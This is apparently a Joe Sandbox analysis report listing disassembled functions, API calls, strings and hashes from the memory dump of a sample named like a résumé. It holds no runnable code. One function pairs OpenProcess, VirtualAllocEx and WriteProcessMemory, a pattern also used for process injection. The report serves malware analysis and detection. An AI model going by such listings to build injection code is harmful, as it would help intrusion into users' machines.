Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: ccc376595c38c9b3ab92af222bc49db5706203fc73b217a27a5ef204173fd5f0
Instruction ID: ed01d01147fdcb828dae1329c41527c5b081fc4305b1cbec4018a43b40b52926
Opcode Fuzzy Hash: ccc376595c38c9b3ab92af222bc49db5706203fc73b217a27a5ef204173fd5f0
Instruction Fuzzy Hash: 33012939C04619EBCF01AFE9DD48EEDBB78FB1C711F010569E902F2250DB349A548BA5

Function 003B9ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 003B9ADC
ProgIDFromCLSID.OLE32(?,00000000), ref: 003B9AF7
lstrcmpiW.KERNEL32(?,00000000), ref: 003B9B05
CoTaskMemFree.OLE32(00000000,?,00000000), ref: 003B9B15
CLSIDFromString.OLE32(?,?), ref: 003B9B21

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 79883fb6a73f728c0cfe8c3b6d540754da6663e7d2691bca7c064f0c0f579972
Instruction ID: 8def84fb6e5fdbe6736a6120114d575c22c3b60e0dec92054008fd01797d59a6
Opcode Fuzzy Hash: 79883fb6a73f728c0cfe8c3b6d540754da6663e7d2691bca7c064f0c0f579972
Instruction Fuzzy Hash: 4D018F7AA00218BFDB129F94ED44BAA7BEDEF88355F158035FA05E6210D770DD449BA0

Function 003BAA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003BAA79
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003BAA83
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003BAA92
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003BAA99
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003BAAAF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 444b854f02c7207f31be07847f5ebe20c32d71f8ab6849b1a16716ca7d67afff
Instruction ID: 7c706fa0eea19ac60b105df9809ee81f1e8b47102be89b2f28286f4af16f067e
Opcode Fuzzy Hash: 444b854f02c7207f31be07847f5ebe20c32d71f8ab6849b1a16716ca7d67afff
Instruction Fuzzy Hash: AAF0A931600604AFEB121FE4AD88EAB3BACFF4A758F000029FA05D71A0DA709C45CA71

Function 003BAAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 003BAADA
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 003BAAE4
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 003BAAF3
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 003BAAFA
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 003BAB10

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 199e30c63cb3768ccd7358fd55f718d4aa46025bb5d83dd8703ec8d56997da90
Instruction ID: 208648feee55e2f5cba8a2e551f334132dc716953179f83e8c3eb43383823593
Opcode Fuzzy Hash: 199e30c63cb3768ccd7358fd55f718d4aa46025bb5d83dd8703ec8d56997da90
Instruction Fuzzy Hash: 71F04F757106086FEB124FA4EC88EA73B6DFF49758F000039FA56D7190CA709C458A61

Function 003BEC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 003BEC94
GetWindowTextW.USER32(00000000,?,00000100), ref: 003BECAB
MessageBeep.USER32(00000000), ref: 003BECC3
KillTimer.USER32(?,0000040A), ref: 003BECDF
EndDialog.USER32(?,00000001), ref: 003BECF9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: a0b598b9fe2d8ac5cd9e3c71011da9e0669ff0f41be8794d919a9230afc494de
Instruction ID: af20b78eb749b50cd51584c533c194703ecfa06c7614b145023364c159d888d6
Opcode Fuzzy Hash: a0b598b9fe2d8ac5cd9e3c71011da9e0669ff0f41be8794d919a9230afc494de
Instruction Fuzzy Hash: F6018630900714ABEB255B54DF4EBD67B78FB00B09F000569F642718E0DBF4A988DB84

Function 0039B0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0039B0BA
StrokeAndFillPath.GDI32(?,?,003FE680,00000000,?,?,?), ref: 0039B0D6
SelectObject.GDI32(?,00000000), ref: 0039B0E9
DeleteObject.GDI32 ref: 0039B0FC
StrokePath.GDI32(?), ref: 0039B117

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: b69d6d28d807f4dab5096d6f2725f8f39adcef703b99762db361698c4b1a92e3
Instruction ID: d15d8a8987749d2281f76a6ed66c983d85651a0df9d815b19c14a06cd361c879
Opcode Fuzzy Hash: b69d6d28d807f4dab5096d6f2725f8f39adcef703b99762db361698c4b1a92e3
Instruction Fuzzy Hash: 1BF03C38000304EFDB229FA5FE0C7593F64A702366F098324F429580F0C7308999CF58

Function 003CF23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 003CF2DA
CoCreateInstance.OLE32(0040DA7C,00000000,00000001,0040D8EC,?), ref: 003CF2F2
CoUninitialize.OLE32 ref: 003CF555

Strings

.lnk, xrefs: 003CF28B, 003CF290, 003CF29E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: ae1d03d13e4d782ccc9f642db63c49446bbd433c2c9f1611e13f657532eb3d18
Instruction ID: b68fc4cbe632348dcd49ac2bd9c44683b2ff55352f58e856d83e38c67690c2db
Opcode Fuzzy Hash: ae1d03d13e4d782ccc9f642db63c49446bbd433c2c9f1611e13f657532eb3d18
Instruction Fuzzy Hash: 15A11CB2504301AFD701EF64C881EABB7E8EF98714F00495DF5559B192EB70EA49CB62

Function 003CE7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 0038660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003853B1,?,?,003861FF,?,00000000,00000001,00000000), ref: 0038662F

CoInitialize.OLE32(00000000), ref: 003CE85D
CoCreateInstance.OLE32(0040DA7C,00000000,00000001,0040D8EC,?), ref: 003CE876
CoUninitialize.OLE32 ref: 003CE893

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

Strings

.lnk, xrefs: 003CE83B, 003CE84D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 19e6bb6a69cadee01918f97a83a24c1eadda0ea6f48c6e8f2535011fd94f7d50
Instruction ID: 1207f57f74d4bd8b4dc7ae7c8573314fc2285ed876fafc599f427c48a4637cbc
Opcode Fuzzy Hash: 19e6bb6a69cadee01918f97a83a24c1eadda0ea6f48c6e8f2535011fd94f7d50
Instruction Fuzzy Hash: D6A145356043019FCB12EF24C884E2ABBE5BF89710F15899DF9969B3A1CB31ED45CB91

Function 003A325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 003A32ED

Part of subcall function 003AE0D0: __87except.LIBCMT ref: 003AE10B

Strings

pow, xrefs: 003A32C5, 003A32E2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 3ef5a3f31a89f606970533f7e26db543c053057bb46838a20c1ae9df0959ab25
Instruction ID: c82bd07e8bc22f42966387daf8eb775a320028564ab94acdc79c757a42ce8afc
Opcode Fuzzy Hash: 3ef5a3f31a89f606970533f7e26db543c053057bb46838a20c1ae9df0959ab25
Instruction Fuzzy Hash: ED517A71A0C20197CF177718CA423BA3B98DB43750F258E68F4D5862E9EF788E949B46

Function 003C4606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,0041DC50,?,0000000F,0000000C,00000016,0041DC50,?), ref: 003C4645

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

CharUpperBuffW.USER32(?,?,00000000,?), ref: 003C46C5

Strings

THIS, xrefs: 003C4703
REMOVE, xrefs: 003C4676

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf
String ID: REMOVE$THIS
API String ID: 3797816924-776492005
Opcode ID: 44c31a715ee8da238478278df409aabee813ceec3444086304d9bb5ce63a5d4d
Instruction ID: d9511b868e1485cedbec3b8da71afe0b27debda7be10392511f15c6ba13c7ea2
Opcode Fuzzy Hash: 44c31a715ee8da238478278df409aabee813ceec3444086304d9bb5ce63a5d4d
Instruction Fuzzy Hash: 02416C34A002099FCF02EFA4C891EADB7B5FF49304F148069E926EB2A2DB35DD45CB50

Function 003BC189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,003BBC08,?,?,00000034,00000800,?,00000034), ref: 003C4335

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 003BC1D3

Part of subcall function 003C42D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,003BBC37,?,?,00000800,?,00001073,00000000,?,?), ref: 003C4300

Part of subcall function 003C422F: GetWindowThreadProcessId.USER32(?,?), ref: 003C425A
Part of subcall function 003C422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,003BBBCC,00000034,?,?,00001004,00000000,00000000), ref: 003C426A
Part of subcall function 003C422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,003BBBCC,00000034,?,?,00001004,00000000,00000000), ref: 003C4280

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003BC240
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003BC28D

Strings

@, xrefs: 003BC2A5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 6b1f8483b14ebfa84e8ab27685f5d77cb7042540760018581bac765aa2f0b6e0
Instruction ID: 46312158c3adc1e4049e1c18d1666d5c007cc31b2628a121f611c52fc8af24fb
Opcode Fuzzy Hash: 6b1f8483b14ebfa84e8ab27685f5d77cb7042540760018581bac765aa2f0b6e0
Instruction Fuzzy Hash: C7412D76900218AFDB11DFA4CD91FEEB778AF49700F004499FA45BB181DA716E45CB61

Function 003EA63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0041DC00,00000000,?,?,?,?), ref: 003EA6D8
GetWindowLongW.USER32 ref: 003EA6F5
SetWindowLongW.USER32(?,000000F0,00000000), ref: 003EA705

Strings

SysTreeView32, xrefs: 003EA6AA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 0d9451f95c51043b6a2159be0876ecfa31df6041073546d894acc23ebcac04ca
Instruction ID: b719398f653871c21f0f8c5b592d1fff3221bec695ceaf3f98f2f0473eb6c41b
Opcode Fuzzy Hash: 0d9451f95c51043b6a2159be0876ecfa31df6041073546d894acc23ebcac04ca
Instruction Fuzzy Hash: 3F31DE31600659ABDF128F79CC41BEA7BA9EB49324F254725F875A32E0C730F8509B94

Function 003D5180 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003D5190
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 003D51C6

Strings

|, xrefs: 003D51B5
D=, xrefs: 003D522E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |$D=
API String ID: 1413715105-3304556432
Opcode ID: 556c9ef6765809e0bc568177f1af3d16559a413e5c0bbd30169dfbe6bbda0346
Instruction ID: 86c9d5dfad665af3e9bd9f41189b34f00fb2c8580f4f8e94d22db6256b9780ea
Opcode Fuzzy Hash: 556c9ef6765809e0bc568177f1af3d16559a413e5c0bbd30169dfbe6bbda0346
Instruction Fuzzy Hash: 25313D71C10219ABCF02EFE4DC45AEE7FB9FF14750F100056F815AA266DB316A06DB60

Function 003EA0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 003EA15E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 003EA172
SendMessageW.USER32(?,00001002,00000000,?), ref: 003EA196

Strings

SysMonthCal32, xrefs: 003EA129

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: bcc2980f6da4fbce55820c638230e88ea07ec7c1ed35a44e2c32c57b3038b4bd
Instruction ID: e4636621c4eb2f774f170dd7f24c2da2e218e8707c5d160523317c5be18deafe
Opcode Fuzzy Hash: bcc2980f6da4fbce55820c638230e88ea07ec7c1ed35a44e2c32c57b3038b4bd
Instruction Fuzzy Hash: F421A132510228ABDF128F94CC86FEA3B79EF48754F110214FE55AB1D0D6B5BC55CB94

Function 003EA88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 003EA941
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 003EA94F
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 003EA956

Strings

msctls_updown32, xrefs: 003EA8BB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f835de6c8695caa72b7da252535d174ecb6861c7bae7a1b1a501fc0870b7122c
Instruction ID: 6f4d5f9f848b46304b2bd4d425af1fbacd7ca15c162349b6cf90317bd27f6993
Opcode Fuzzy Hash: f835de6c8695caa72b7da252535d174ecb6861c7bae7a1b1a501fc0870b7122c
Instruction Fuzzy Hash: 1021B0B5600619AFDB02DF29CC81D7737ADEB4A3A4B060159FA049B3A2CB31FC118B61

Function 003E99A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 003E9A30
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 003E9A40
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 003E9A65

Strings

Listbox, xrefs: 003E99FD

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: d16b083a5fbdbc250432d552367ad911346ea4fbb4e2f4c269195f99424d0a57
Instruction ID: 2fba609791df38b13893ad873f20ddda8cc197f5645aa20623f8b426debf6707
Opcode Fuzzy Hash: d16b083a5fbdbc250432d552367ad911346ea4fbb4e2f4c269195f99424d0a57
Instruction Fuzzy Hash: 8F21C532610168BFDF128F55CC85FBB3BAAEF89750F02822AF9445B1E0C7719C5187A0

Function 003EA409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 003EA46D
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 003EA482
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 003EA48F

Strings

msctls_trackbar32, xrefs: 003EA444

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 7f56ac822c584f08150d8617c08dae3d5af469d2e1a7df46f77bc09c968436d8
Instruction ID: 942e375342a4e30e80c0d6e39ebe2fa471a43620f6706ac1195018e13823a46b
Opcode Fuzzy Hash: 7f56ac822c584f08150d8617c08dae3d5af469d2e1a7df46f77bc09c968436d8
Instruction Fuzzy Hash: 73110A71200258BEEF215F66CC46FEB376DEF89754F024228FA45A61E1D6B2F811CB24

Function 003A2287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,003A2350,?), ref: 003A22A1
